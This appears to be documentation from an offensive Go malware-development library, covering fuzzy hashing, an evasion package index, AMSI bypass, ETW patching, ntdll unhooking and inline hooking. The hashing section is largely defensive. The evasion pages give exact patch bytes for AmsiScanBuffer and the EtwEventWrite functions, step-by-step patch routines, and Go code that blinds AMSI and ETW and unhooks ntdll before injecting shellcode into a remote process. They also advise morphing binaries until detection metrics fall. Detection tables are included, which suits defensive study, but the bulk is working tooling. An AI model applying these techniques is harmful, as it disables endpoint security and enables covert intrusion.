A traditional hash like SHA-256 changes completely when a single byte flips. That's by design: the slightest tamper must invalidate the fingerprint. The downside is that any morph — even a cosmetic one — makes a known-bad hash useless.

Fuzzy hashes give up exact-match in exchange for proximity. Two ssdeep hashes can be compared to a similarity score in $[0, 100]$; two TLSH hashes give a distance in $[0, \infty)$ where lower means more similar. Defenders use them for variant tracking and clustering; offensive teams use them to measure signature evasion (does my morph defeat fuzzy hashing too, or only SHA-256?).

The package wraps the glaslos/ssdeep and glaslos/tlsh pure-Go libraries behind an idiomatic API.

How it works

flowchart LR
    A[file A] --> SsA[Ssdeep]
    B[file B] --> SsB[Ssdeep]
    SsA --> Cmp1[SsdeepCompare]
    SsB --> Cmp1
    Cmp1 --> Score[score 0–100]

    A --> TlA[TLSH]
    B --> TlB[TLSH]
    TlA --> Cmp2[TLSHCompare]
    TlB --> Cmp2
    Cmp2 --> Dist[distance 0–∞]

ssdeep slices the input on context-triggered boundaries (rolling hash hits a threshold), then hashes each slice. Two files with identical slice sequences score 100; files with only some slices in common score proportionally.

TLSH builds a histogram of overlapping 5-byte windows, quantises it, and emits a fixed 70-byte hex string. Distance is roughly Hamming over the quantised histogram.

Minimum input sizes:

  • ssdeep — works on any input, but very short inputs produce unreliable hashes.
  • TLSH — 50 bytes minimum (library enforced); 256+ bytes recommended for stable distance.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

s, _ := hash.Ssdeep(payload)
t, _ := hash.TLSH(payload)
fmt.Println(s, t)

Composed (compare two payloads)

s1, _ := hash.SsdeepFile("payload_v1.exe")
s2, _ := hash.SsdeepFile("payload_v2.exe")
score, _ := hash.SsdeepCompare(s1, s2)
fmt.Printf("ssdeep score: %d/100\n", score)

t1, _ := hash.TLSHFile("payload_v1.exe")
t2, _ := hash.TLSHFile("payload_v2.exe")
dist, _ := hash.TLSHCompare(t1, t2)
fmt.Printf("tlsh distance: %d\n", dist)

Advanced (batch similarity scan)

Screen a directory of candidates against a known-malicious baseline. Files that score $\ge 70$ on ssdeep or $\le 100$ on TLSH are likely variants of the same family.

import (
    "fmt"
    "io/fs"
    "path/filepath"

    "github.com/oioio-space/maldev/hash"
)

func scanVariants(baseline, dir string, ssdeepThreshold, tlshMax int) error {
    bSS, _ := hash.SsdeepFile(baseline)
    bTL, _ := hash.TLSHFile(baseline)

    return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
        if err != nil || d.IsDir() {
            return err
        }
        ss, _ := hash.SsdeepFile(path)
        tl, _ := hash.TLSHFile(path)
        score, _ := hash.SsdeepCompare(bSS, ss)
        dist, _  := hash.TLSHCompare(bTL, tl)

        if score >= ssdeepThreshold || (dist >= 0 && dist <= tlshMax) {
            fmt.Printf("variant ssdeep=%d tlsh=%d %s\n", score, dist, path)
        }
        return nil
    })
}

Complex (UPXMorph vs SHA-256 vs fuzzy hashing)

The core demonstration of why fuzzy hashing exists. pe/morph.UPXMorph replaces the eight-byte UPX section names (UPX0, UPX1, UPX2) with random strings. That tiny change flips the SHA-256 — the blocklist entry for the original hash is now useless. But 24 bytes out of hundreds of kilobytes is nothing structurally: ssdeep and TLSH see essentially the same binary and report high similarity.

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/pe/morph"
)

func main() {
    packed, err := os.ReadFile("implant-upx.exe")
    if err != nil { panic(err) }

    sha256Before := hash.SHA256(packed)
    ssBefore, _  := hash.Ssdeep(packed)
    tlBefore, _  := hash.TLSH(packed)

    morphed, err := morph.UPXMorph(packed)
    if err != nil { panic(err) }

    sha256After := hash.SHA256(morphed)
    ssAfter, _  := hash.Ssdeep(morphed)
    tlAfter, _  := hash.TLSH(morphed)

    ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
    tlDist, _  := hash.TLSHCompare(tlBefore, tlAfter)

    fmt.Println("SHA-256 same?:", sha256Before == sha256After)
    fmt.Printf("ssdeep score: %d / 100\n", ssScore)
    fmt.Printf("TLSH distance: %d\n", tlDist)
}

Typical output for a UPX-morphed binary:

SHA-256 same?:  false                        ← blocklist miss
ssdeep score:   97 / 100                     ← variant detected
TLSH distance:  12                           ← negligible neighbourhood change

A defender relying solely on SHA-256 is blind to the morphed copy. A defender running ssdeep/TLSH catches it immediately.

OPSEC & Detection

Fuzzy hashing is primarily a defender tool — the offensive use case is measuring evasion, not performing it. Still:

ArtefactWhere defenders look
ssdeep score $\ge 70$ vs known-bad seedVirusTotal "Similar Files" tab, Cuckoo signatures, MISP ssdeep events
TLSH distance $\le 100$ vs known-bad seedTrend Micro telemetry, MITRE TLSH-based clustering

D3FEND counter: D3-SEA — Static Executable Analysis covers fuzzy-hash-based clustering.

Operator implication: if your morph reduces the SHA-256 match but leaves ssdeep/TLSH high, you've broken signature-based detection but not similarity-based detection. Layer with structural mutation (pe/morph + section rebuild + obfuscated control flow) until both metrics fall.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or Informationanalysis tooling — measures, doesn't performD3-SEA

(The hashes themselves don't perform a technique; they're used to evaluate how thoroughly a morph or packer defeats clustering.)

Limitations

  • ssdeep block-size mismatch. Hashes with non-adjacent block-size magnitudes are incomparable — SsdeepCompare returns an error. This is a fundamental property of CTPH, not a bug.
  • TLSH minimum size. 50 bytes is library-enforced. Shorter inputs return an error. 256+ bytes recommended for stable distance.
  • Pure-Go performance. Both libraries are pure Go. Native ssdeep/TLSH C implementations are 3–5× faster on large datasets — if scanning thousands of files, batch them and parallelise via errgroup.
  • Defender bias. These hashes were designed by defenders, for defenders. Their offensive value is purely diagnostic.

See also

Evasion techniques

← maldev README · docs/index

In-process and on-host primitives that disable, blind, restore, or hide the defensive surface so subsequent injection / collection / post-ex code runs unobserved. Every package in this area accepts a *wsyscall.Caller and composes via evasion.ApplyAll or evasion/preset recipes.

TL;DR

flowchart LR
    A[unhook ntdll] --> B[patch AMSI]
    B --> C[patch ETW]
    C --> D[harden process<br>ACG / BlockDLLs / CET]
    D --> E[sleepmask between callbacks]

The "operator's first 100 ms" — restore clean syscall stubs, blind the two main monitoring channels, harden the process against future hooks, mask payload memory during sleep.

Where to start (novice path):

  1. preset — bundle of all the above in one call. Most operators stop here.
  2. ntdll-unhooking — the foundation every other layer assumes.
  3. sleep-mask — once your implant works, sleep masking keeps it invisible BETWEEN callbacks.
  4. callstack-spoof, stealthopen, kernel-callback-removal — advanced surfaces; pick when a specific defender forces you there.

Packages

PackageTech pageDetectionOne-liner
evasion/acgacg-blockdlls.mdquietArbitrary Code Guard — block dynamic-code allocation in own process
evasion/amsiamsi-bypass.mdnoisyPatch AmsiScanBuffer / AmsiOpenSession for "always clean" verdicts
evasion/blockdllsacg-blockdlls.mdquietMicrosoft-only DLL signature requirement
evasion/callstackcallstack-spoof.mdquietCall-stack spoof primitives — fake return addresses for syscalls
evasion/cetcet.mdnoisyIntel CET shadow-stack opt-out + ENDBR64 marker for APC paths
evasion/etwetw-patching.mdmoderatePatch ntdll ETW write helpers with xor rax,rax; ret
evasion/hookinline-hook.mdquietInstall your own inline hooks (probe, group, remote, bridge)
evasion/hook/bridgeinline-hook.mdquietIPC bridge — out-of-process hook controller
evasion/hook/shellcodeinline-hook.mdquietx64 trampoline / prologue-steal generator
evasion/kcallbackkernel-callback-removal.mdvery-noisyEnumerate / remove kernel callback registrations (BYOVD-pluggable)
evasion/presetpreset.mdvariesCurated Minimal / Stealth / Aggressive Technique bundles
evasion/sleepmasksleep-mask.mdquietEncrypt payload memory during sleep with EKKO / Foliage / Inline strategies
evasion/stealthopenstealthopen.mdquietNTFS Object-ID file access — bypass path-based EDR file hooks
evasion/unhookntdll-unhooking.mdnoisyRestore ntdll.dll syscall stubs from disk or fresh child process

Cross-categorised pages currently living here (packages live elsewhere):

PageActual packageNote
../recon/anti-analysis.mdrecon/antidebug, recon/antivmmoved to recon/ — debugger + VM detection
../kernel/byovd-rtcore64.mdkernel/driver/rtcore64moved to kernel/ — BYOVD primitive used by kcallback + lsassdump
../recon/dll-hijack.mdrecon/dllhijackmoved to recon/ — discovery is recon, exploitation is evasion
../process/fakecmd.mdprocess/tamper/fakecmdPEB CommandLine spoof — moved to process/
../process/hideprocess.mdprocess/tamper/hideprocessNtQSI patch to hide PIDs — moved to process/
../recon/hw-breakpoints.mdrecon/hwbpmoved to recon/ — DR0–DR7 inspection
../process/phant0m.mdprocess/tamper/phant0mEventLog svchost thread kill — moved to process/
ppid-spoofing.mdc2/shell (PPIDSpoofer)spawn-time parent PID spoof
../recon/sandbox.mdrecon/sandboxmoved to recon/ — multi-factor orchestrator
../recon/timing.mdrecon/timingmoved to recon/ — time-based evasion

Quick decision tree

You want to…Use
…blind PowerShell / .NET AMSI scanningamsi.PatchAll
…blind ETW for the current processetw.PatchAll
…restore EDR-hooked syscall stubs before patchingunhook.FullUnhook or unhook.CommonClassic
…make memory scanners blind during sleepsleepmask
…ship a single "do everything sane" recipepreset.Stealth()
…read a sensitive file path without leaving a path-based eventstealthopen
…survive Win11+CET-enforced hosts on APC pathscet.Wrap or cet.Disable
…spoof call-stack return addresses for stealth syscallscallstack.SpoofCall
…remove a kernel callback (PsSetLoadImageNotifyRoutine etc.)kcallback (requires BYOVD reader)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationevasion/sleepmaskD3-PMA
T1036Masqueradingevasion/callstack, evasion/stealthopenD3-PSA
T1497Virtualization/Sandbox Evasionrecon/sandbox, recon/antivm, recon/timingD3-PSA, D3-PMA
T1562.001Impair Defenses: Disable or Modify Toolsevasion/{amsi,etw,unhook,acg,blockdlls,cet,kcallback,preset}D3-PMC, D3-PSA
T1562.002Impair Defenses: Disable Windows Event Loggingprocess/tamper/phant0mD3-RAPA
T1574.012Hijack Execution Flow: COR_PROFILERevasion/hook (inline hook scaffold)D3-PMC
T1622Debugger Evasionrecon/antidebug, recon/hwbpD3-PSA

See also

AMSI bypass

← evasion index · docs/index

TL;DR — patch AmsiScanBuffer (3-byte xor eax,eax; ret prologue) and/or AmsiOpenSession (flip the conditional jump) in the loaded amsi.dll of the current process. Every AMSI scan then returns "clean" without reaching the registered antimalware provider.

What it does

The Antimalware Scan Interface (AMSI) is the Windows mechanism that ships script bodies — PowerShell, .NET Assembly.Load, VBScript, JScript — to a registered antimalware provider (usually Defender) for inspection before the runtime executes them. If the provider flags the body, the runtime aborts.

This package patches amsi.dll in the current process's address space so that every subsequent scan returns a clean verdict without the provider ever being called. It's a per-process operation; other processes on the host stay unaffected.

[!IMPORTANT] Per-process scope only. Patching here does not disable AMSI system-wide — a child PowerShell will get scanned unless that child also patches. Persists for the lifetime of the calling process.

How it works

sequenceDiagram
    participant Loader as "Loader<br/>(CLR host, PS, …)"
    participant amsi as "amsi.dll"
    participant Provider as "Defender<br/>(MpOav.dll)"

    rect rgb(255,238,238)
        Note over Loader,Provider: Without patch
        Loader->>amsi: AmsiScanBuffer(payload)
        amsi->>Provider: ScanContent
        Provider-->>amsi: AMSI_RESULT_DETECTED
        amsi-->>Loader: HRESULT, *result = DETECTED
        Loader->>Loader: abort
    end

    rect rgb(238,255,238)
        Note over Loader,Provider: After PatchScanBuffer
        Loader->>amsi: AmsiScanBuffer(payload)
        Note over amsi: prologue is now<br/>31 C0 C3 (xor eax,eax then ret)
        amsi-->>Loader: returns S_OK, *result untouched
        Loader->>Loader: continue (treats as clean)
    end

PatchScanBuffer walks five steps:

  1. LoadLibraryW("amsi.dll") — ensures the module is mapped (no-op if already loaded).
  2. GetProcAddress(amsi, "AmsiScanBuffer") resolves the entry.
  3. NtProtectVirtualMemory(addr, 3, PAGE_EXECUTE_READWRITE) via the supplied *wsyscall.Caller.
  4. memcpy 31 C0 C3 (xor eax,eax; ret) over the prologue.
  5. NtProtectVirtualMemory(addr, 3, original) restores protection.

PatchOpenSession is the same shape but flips one byte (JZ → JNZ) in AmsiOpenSession, so session creation always "succeeds" without the provider initialising.

Usage

import (
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/win/syscall" // wsyscall
)

caller, _ := wsyscall.New(wsyscall.MethodIndirect)
if err := amsi.PatchAll(caller); err != nil {
    return fmt.Errorf("amsi bypass: %w", err)
}
// AmsiScanBuffer + AmsiOpenSession now both short-circuit
// in this process for its lifetime.

Composed with the rest of the evasion stack via evasion.ApplyAll:

caller, _ := wsyscall.New(wsyscall.MethodIndirect)
results := evasion.ApplyAll([]evasion.Technique{
    unhook.CommonClassic(), // restore ntdll first
    amsi.All(),             // then blind AMSI
    etw.All(),              // then blind ETW
}, caller)

Non-obvious behaviour

  • caller == nil falls back to direct WinAPI for debug — never ship that to production (loud telemetry).
  • PatchScanBuffer is naturally idempotent — it always writes the same 3 bytes at the function entry.
  • PatchOpenSession carries a package-level atomic flag so re-invoking (e.g. once per caller in a sweep) doesn't consume additional 0x74 sites and surface a spurious "conditional jump not found" error.
  • Returns nil silently if amsi.dll is not loaded and cannot be loaded (some sandbox flavours).

OPSEC & detection

ArtefactWhere defenders look
NtProtectVirtualMemory(amsi.dll, RWX)ETW TI EVENT_TI_NTPROTECThighest-leverage signal
3 bytes of amsi.dll differ from disk imageEDR memory-integrity scan of loaded modules
AmsiScanBuffer returns S_OK in 0 µsStatistical hunt — real scans take 100 µs–10 ms
Process loaded amsi.dll but never calls back to providerETW provider event volume per process

D3FEND counters: D3-PMC, D3-PSA.

Hardening: AMSI Provider DLL pinned + signed; on Win11 CFG + ProcessUserShadowStackPolicy raise the cost of reliably reaching the patch site.

MITRE ATT&CK

T-IDNameSub-coverage
T1562.001Impair Defenses: Disable or Modify Toolsfull (per-process AMSI nullification)

Limitations

  • Per-process only. Children get scanned unless they also patch.
  • Defender signatures flag the loaded-process side effect (Windows-AMSI-Bypass family). Composing with unhook first reduces the chance of being mid-flight when Defender's hooks fire.
  • CFG doesn't block prologue patches but EDR hook-scanners that re-scan amsi.dll periodically catch it.
  • Non-Defender providers (third-party AV) may take code paths that don't go through AmsiScanBuffer — rare today.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/amsi is the authoritative reference for every symbol the package exports. This page teaches the concepts; the godoc is the specification.

See also

ETW patching

← evasion index · docs/index

TL;DR

Overwrite the prologue of ntdll.dll's ETW write helpers (EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull, EtwEventWriteString, EtwEventWriteTransfer) with xor rax,rax; ret. Any ETW provider in the process emits zero events while still receiving STATUS_SUCCESS.

Primer

Event Tracing for Windows is the primary telemetry pipeline of the Windows kernel — every EDR, every audit policy, every Defender real-time component subscribes to it. User-mode providers in the current process route their events through the five EtwEvent* write functions in ntdll.dll. Patching those five functions to be no-ops silences ETW for the process: no provider can publish, regardless of what EventRegister returned.

The NtTraceEvent syscall sits one layer below the user-mode helpers. A few EDRs direct-call it to bypass the user-mode patch — hence the companion PatchNtTraceEvent for the kernel-call layer.

[!NOTE] ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) is a kernel-side ETW channel that this patch does NOT silence — kernel-mode events emitted by EtwTraceEvent (kernel form) still reach subscribers. The patch covers user-mode emission only.

How it works

sequenceDiagram
    participant Provider as "user-mode provider"
    participant ntdll as "ntdll!EtwEventWrite"
    participant TI as "ETW Subscriber"

    rect rgb(255,238,238)
        Note over Provider,TI: Without patch
        Provider->>ntdll: EtwEventWrite(provider, descriptor, payload)
        ntdll->>TI: NtTraceEvent → consumer
        ntdll-->>Provider: STATUS_SUCCESS
    end

    rect rgb(238,255,238)
        Note over Provider,TI: After PatchAll
        Provider->>ntdll: EtwEventWrite(...)
        Note over ntdll: prologue is now<br/>48 33 C0 C3 (xor rax,rax then ret)
        ntdll-->>Provider: STATUS_SUCCESS<br/>(no event emitted)
    end

For each of the five functions:

  1. GetProcAddress(ntdll, "EtwEventWrite*").
  2. NtProtectVirtualMemory(addr, 4, PAGE_EXECUTE_READWRITE) via the supplied *Caller.
  3. memcpy 48 33 C0 C3 (xor rax, rax; ret).
  4. NtProtectVirtualMemory(addr, 4, original).

PatchNtTraceEvent does the same for NtTraceEvent with a single RET.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/etw is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := etw.PatchAll(caller); err != nil {
    log.Fatal(err)
}
// User-mode ETW providers in this process emit nothing now.

Composed (with evasion.amsi)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll([]evasion.Technique{
    amsi.All(),
    etw.All(),
}, caller)

Advanced (NtTraceEvent for stubborn EDRs)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = etw.PatchAll(caller)            // user-mode helpers
_ = etw.PatchNtTraceEvent(caller)   // kernel-call layer

OPSEC & Detection

ArtefactWhere defenders look
5 × NtProtectVirtualMemory(ntdll, RWX)ETW TI EVENT_TI_NTPROTECT — same channel as AMSI patch detection
4 bytes of each EtwEvent* differ from on-disk imageEDR memory-integrity scanning
Process registered an ETW provider but emits zero eventsKernel-side ETW provider-volume monitoring
Per-provider event-count drops to zero mid-processProcess-lifecycle ETW analytics

D3FEND counter: D3-PMC.

Hardening: subscribe to ETW Threat Intelligence in user-mode SIEM collection — even if the patched process emits nothing, the NtProtectVirtualMemory flips that installed the patch are visible in TI.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolsuser-mode ETW write functions + optional NtTraceEventD3-PMC

Limitations

  • Per-process only. Other processes still emit events normally.
  • Doesn't silence kernel-side ETW providers (Microsoft-Windows- Threat-Intelligence, Microsoft-Windows-Kernel-Process). Those emit from kernel mode regardless of user-mode patches.
  • EDR may rescan ntdll.dll every N seconds; the patch is detectable if rescans are on.
  • The four-byte prologue overwrite assumes x86_64. ARM64 ntdll has different prologues; the package's current code is amd64-only.

See also

ntdll Unhooking

MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-HBPI -- Hook-Based Process Instrumentation | Detection: High

TL;DR

EDR products patch the first bytes of NTAPI functions in ntdll.dll so they can intercept your syscalls. Unhooking restores the original bytes from a clean source so your calls go straight to the kernel without EDR interception.

Three methods, increasing footprint and stealth:

MethodWhat it doesCostWhen to pick
ClassicUnhookRestores 5 bytes of ONE named function from on-disk ntdll.dllSmallest. ~3 reads + 1 write per function.You know exactly which API the EDR hooked (e.g., NtAllocateVirtualMemory). Good with unhook.CommonClassic (10 known-hooked functions).
FullUnhookReplaces the entire .text section of ntdll.dll from diskLarger. One big write.You don't know which functions are hooked, or you want all of them clean at once.
PerunUnhookReads a clean .text from a freshly-spawned suspended processLargest. Spawns a child process.You can't read ntdll.dll from disk (path-blocking minifilter, EDR catches the open).

What this DOES achieve:

  • Your subsequent NTAPI calls go straight to syscall without EDR's hook code running.
  • For Classic / Full, paired with a stealthopen.Opener, even the on-disk read of ntdll.dll bypasses path-keyed filters.

What this does NOT achieve:

  • Doesn't unhook every defender — kernel-mode callbacks (PsSetCreateProcessNotifyRoutine family) still fire. See evasion/kernel-callback-removal.
  • Doesn't survive re-hooking — some EDRs install a periodic re-hook timer. Unhook then act fast; don't expect persistence.
  • Detectable: the unhook write itself is observable. EDR agents that hash their own hooks alert when the bytes change.

Primer — vocabulary

Five terms recur on this page:

Hook — an inline patch (typically a JMP rel32) the EDR writes at the start of a target function so that calls to it divert into the EDR's monitoring code first. The original bytes are saved in a "trampoline" the EDR uses to call through after logging.

Prologue — the first few bytes of a function's machine code. EDR hooks rewrite these bytes; unhooking restores them. Typical hook patch is 5 bytes (one JMP rel32); some advanced EDRs use 14-byte absolute jumps.

.text section — the executable code section of a PE. Contains the bytes for every function in the module. Full unhooking replaces this entire section in the in-memory image.

stealthopen.Opener — interface from evasion/stealthopen that opens a file by NTFS Object ID instead of by path. Pass to Classic/Full unhook to make the on-disk read of ntdll.dll invisible to path-keyed minifilters.

ASLR — Address Space Layout Randomization. Most modules get randomised base addresses, but ntdll.dll's base is set ONCE per boot and shared across all processes. That's why Perun works: the suspended child's ntdll lives at the same address as your own, byte-for-byte clean.

Primer — the analogy

When a security guard is worried about a specific door, they install a tripwire across it. Anyone who walks through triggers an alarm, and the guard knows exactly who passed and when. The door still works normally -- it just has an invisible wire that reports activity.

EDR products do the same thing to Windows API functions. When your process starts, the EDR modifies the first few bytes of critical functions in ntdll.dll (the lowest-level user-mode library) to redirect them through the EDR's own monitoring code. This is called "hooking." When you call NtAllocateVirtualMemory, the hook intercepts the call, logs it, decides whether to allow it, and then either passes it through to the real function or blocks it.

Unhooking is finding the original blueprints for the door (the clean ntdll.dll from disk or from another process) and rebuilding the door without the tripwire. Once the hooks are removed, your API calls go directly to the kernel without EDR interception.

maldev provides three unhooking methods with increasing sophistication:

  1. Classic -- Restore just the first 5 bytes of a specific function from the on-disk copy.
  2. Full -- Replace the entire .text section of ntdll from the disk copy, removing ALL hooks at once.
  3. Perun -- Read a pristine ntdll from a freshly-spawned suspended process (avoids reading from disk entirely).

How It Works

flowchart TD
    subgraph Classic["Classic Unhook"]
        C1[Read ntdll.dll from disk] --> C2[Parse PE exports]
        C2 --> C3[Find target function offset]
        C3 --> C4[Read first 5 clean bytes]
        C4 --> C5[Overwrite hooked bytes in memory]
    end

    subgraph Full["Full Unhook"]
        F1[Read ntdll.dll from disk] --> F2[Parse PE sections]
        F2 --> F3[Extract entire .text section]
        F3 --> F4[VirtualProtect .text → RWX]
        F4 --> F5[Overwrite entire .text in memory]
        F5 --> F6[Restore .text protection]
    end

    subgraph Perun["Perun Unhook"]
        P1[CreateProcess notepad.exe SUSPENDED] --> P2[Read child's ntdll .text via ReadProcessMemory]
        P2 --> P3[Overwrite our .text with child's clean copy]
        P3 --> P4[TerminateProcess child]
    end

    style C5 fill:#2d5016,color:#fff
    style F5 fill:#2d5016,color:#fff
    style P3 fill:#2d5016,color:#fff

Classic Unhook -- Targeted, surgical:

  1. Read ntdll.dll from System32 on disk (never hooked).
  2. Parse the PE export directory to find the target function's file offset.
  3. Read the first 5 bytes (the typical hook trampoline size).
  4. Overwrite the hooked in-memory bytes with the clean disk copy via PatchMemoryWithCaller.

Full Unhook -- Scorched earth:

  1. Read ntdll.dll from disk and parse the PE to find the .text section.
  2. Extract the entire .text section bytes.
  3. VirtualProtect the in-memory .text to PAGE_EXECUTE_READWRITE.
  4. WriteProcessMemory (or NtWriteVirtualMemory via Caller) to overwrite the entire section.
  5. Restore original protection.

Perun Unhook -- Disk-free:

  1. Spawn notepad.exe (or configurable target) in CREATE_SUSPENDED | CREATE_NO_WINDOW state.
  2. ntdll is loaded at the same base address in all processes (ASLR is per-boot). Read the child's pristine .text via ReadProcessMemory.
  3. Overwrite the local hooked .text with the clean copy.
  4. Terminate the child process.

Usage

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion/unhook"
)

func main() {
    // Classic: unhook a single function. 3rd arg is an optional
    // stealthopen.Opener — nil = path-based read of ntdll.dll; pass a
    // *stealthopen.Stealth to bypass path-based EDR hooks on that open.
    if err := unhook.ClassicUnhook("NtAllocateVirtualMemory", nil, nil); err != nil {
        log.Fatal(err)
    }

    // Full: unhook ALL ntdll functions at once. Same Opener semantics.
    if err := unhook.FullUnhook(nil, nil); err != nil {
        log.Fatal(err)
    }

    // Perun: unhook from a child process (no disk read).
    if err := unhook.PerunUnhook(nil); err != nil {
        log.Fatal(err)
    }

    // Perun with custom host process.
    if err := unhook.PerunUnhookTarget("svchost.exe", nil); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    shellcode := []byte{0x90, 0x90, 0xCC}

    // Use indirect syscalls for the unhooking itself.
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))

    // Layer evasion: blind telemetry first, THEN unhook.
    // Order matters: ETW patch prevents logging of the unhook operation.
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),  // or unhook.CommonClassic()... for selective
    }
    if errs := evasion.ApplyAll(techniques, caller); errs != nil {
        for name, err := range errs {
            log.Printf("%s: %v", name, err)
        }
    }

    // After unhooking, all NT calls go directly to kernel.
    injector, err := inject.Build().
        Method(inject.MethodCreateRemoteThread).
        TargetPID(1234).
        Create()
    if err != nil {
        log.Fatal(err)
    }
    injector.Inject(shellcode)
}

Advantages & Limitations

AspectDetail
Stealth (Classic)Medium -- only touches one function. Minimal disk I/O.
Stealth (Full)Low -- reads entire ntdll from disk, massive memory write. Very visible.
Stealth (Perun)Medium-High -- no disk read, but spawning a child process is logged.
EffectivenessHigh -- completely removes userland hooks. After unhooking, EDR loses visibility into hooked APIs.
Caller routingAll three methods support *wsyscall.Caller for the protection/write phase, bypassing potential hooks on VirtualProtect and WriteProcessMemory themselves.
Detection vectorsDisk read of ntdll.dll (Full/Classic), child process spawn (Perun), memory integrity checks before/after, ETW events for VirtualProtect on ntdll pages.
LimitationsDoes not affect kernel-level hooks (minifilters, callbacks). Does not remove hooks set after the unhook operation. Some EDRs re-hook periodically.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/unhook is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Inline Hook — x64 Function Interception

<- Back to Evasion

MITRE ATT&CK: T1574.012 — Hijack Execution Flow: Inline Hooking Package: evasion/hook Platform: Windows (x64) Detection: High


TL;DR

You want to intercept Windows API calls — log them, modify their arguments, suppress their results — without attaching a debugger or using kernel components. This package patches the target function's first bytes with a JMP to your Go callback, then provides a "trampoline" you can call to invoke the original (unpatched) code.

Pick the right entry point based on what you have:

You have…UseWhy
The function's address as uintptrInstallDirect path. You already resolved it via windows.NewLazyDLL(...).NewProc(...).Addr().
Just the DLL + function nameInstallByNameResolves + installs in one call.
The function exists but you don't know its signatureInstallProbeLogs first N args without you guessing the type. Useful for reversing unknown APIs.
Need to hook many related functions atomicallyHookGroupAll-or-nothing install (rolls back on partial failure).

What this DOES achieve:

  • Your callback runs every time the target is invoked.
  • Original arguments visible; return value optionally rewritable.
  • Trampoline lets you "call through" to the real function.

What this does NOT achieve:

  • Userland-only — kernel callbacks (PsSetCreateProcessNotify family) need a different attack. See evasion/kernel-callback-removal.
  • Detectable — EDR memory scanners flag patched prologues (the JMP rel32 is a tell). For evading prologue scans, see evasion/unhook which restores clean prologues from a fresh ntdll image on disk.
  • x64 only — no x86, no ARM64.

Primer — vocabulary

Five terms appear constantly on this page:

Prologue — the first few bytes of a function's machine code. Inline hooking patches these bytes (typically the first 5 — enough for a JMP rel32) so the CPU diverts to your code instead of running the original.

JMP rel32 — a 5-byte x64 instruction that jumps to a destination expressed as a 32-bit signed offset from the jump's location. Reach: ±2 GB. The patch installs this; if the target callback is more than 2 GB away, you need a relay.

Relay — a small (13-byte) executable page allocated within ±2 GB of the target, holding MOV R10, <abs64>; JMP R10. The 5-byte patch jumps to the relay; the relay does the 64-bit absolute jump to your Go callback (which can live anywhere in the address space).

Trampoline — a copy of the bytes you OVERWROTE in the prologue (called "stolen bytes") followed by a JMP back to the target's code AFTER the patch. Lets you "call through" the hook to invoke the original logic. The package builds this automatically using golang.org/x/arch/x86/x86asm to decode the prologue and fix up RIP-relative addresses.

RIP-relative — an addressing mode where the operand is an offset from the current instruction pointer (e.g., MOV RAX, [RIP+0x12345]). When you copy bytes containing RIP-relative addressing into the trampoline (which lives at a different address), the offsets break unless fixed up. The package handles this for you.

Primer

Every Windows function — MessageBoxW, CreateFileW, NtAllocateVirtualMemory — lives at some address in memory and starts with a short sequence of instructions called its prologue. An inline hook rewrites the first bytes of that prologue so the CPU jumps to your code instead. Your callback inspects (or modifies) the arguments, then either lets the original function run by calling a small trampoline that re-executes the patched bytes and jumps back, or returns a synthetic result without ever running the real function.

This single primitive underlies a huge fraction of both offensive and defensive tooling:

  • EDR agents hook NtAllocateVirtualMemory / NtProtectVirtualMemory in userland to flag shellcode-like allocations before they run.
  • Red-team tools hook AmsiScanBuffer to make every scan return "clean", or EtwEventWrite to suppress telemetry.
  • Malware researchers hook APIs they want to trace (args, return value) without attaching a debugger.

evasion/hook is a pure-Go, no-CGo, x64-only implementation: it allocates a relay page within ±2 GB of the target (so a 5-byte JMP rel32 is enough), writes a JMP to the relay, and the relay hops to a Go callback via syscall.NewCallback. An Install/Uninstall pair restores the original bytes on demand.


What It Does

Intercepts calls to any exported Windows function by patching its prologue with a JMP to a Go callback. The original function remains callable via a trampoline. Pure Go — no CGo, no x64dbg required.

How It Works

sequenceDiagram
    participant Caller
    participant Target as "Target Function"
    participant Relay as "Relay Page within 2GB"
    participant Callback as "Go Callback"
    participant Trampoline as "Trampoline"

    Note over Target: Prologue patched with JMP rel32
    Caller->>Target: Call function
    Target->>Relay: JMP rel32 (5 bytes)
    Relay->>Callback: MOV R10 addr then JMP R10
    Callback->>Trampoline: syscall.SyscallN(h.Trampoline(), ...)
    Trampoline->>Target: Stolen bytes + JMP back past patch
    Target-->>Trampoline: Returns
    Trampoline-->>Callback: Returns
    Callback-->>Caller: Returns (possibly modified)

Three Components

ComponentSizePurpose
Hook patch5 bytes (E9 rel32)JMP from target to relay
Relay page13 bytes (MOV R10, imm64; JMP R10)Absolute JMP to Go callback. Allocated within ±2GB of target (required for rel32).
